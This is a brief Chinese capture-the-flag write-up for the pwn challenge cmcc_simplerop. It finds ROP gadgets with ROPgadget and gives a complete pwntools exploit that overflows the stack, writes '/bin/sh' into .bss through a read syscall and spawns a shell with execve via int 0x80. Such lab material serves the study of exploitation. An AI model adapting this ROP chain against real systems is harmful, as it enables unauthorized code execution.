例行检查

ida打开二进制文件发现是静态链接的32位程序。main函数中存在溢出。用ROPgadget查找文件中的gadget。
ROPgadget --binary ./simplerop --only 'pop|ret' >> 1.txt
得到

发现存在
pop eax;ret
pop edx;pop ecx;pop ebx;ret
这些就足够了,给寄存器赋值再用int 80进行系统调用。
由于程序中没有/bin/sh需要先将其写入bss段。
from pwn import *
io=process('./simplerop')
pop_eax_ret=0x080bae06
pop_bcdx_ret=0x0806e850
int_80=0x0806EEF0
bss=0x80EB010
pl='a'*0x1c+'bbbb'+p32(pop_eax_ret)+p32(3)+p32(pop_bcdx_ret)+p32(8)+p32(bss)+p32(0)+p32(int_80)+p32(pop_eax_ret)+p32(11)+p32(pop_bcdx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_80)
io.sendline(pl)
io.send('/bin/sh')
io.interactive()
本文探讨了32位静态链接程序cmcc_simplerop,通过ida分析发现存在栈溢出漏洞。利用ROPgadget找到关键gadget如pop eax;ret和pop edx;pop ecx;pop ebx;ret,计划通过赋值寄存器并使用int 80进行系统调用来应对无/bin/sh的情况,首先将字符串写入bss段。
579

被折叠的 条评论
为什么被折叠?



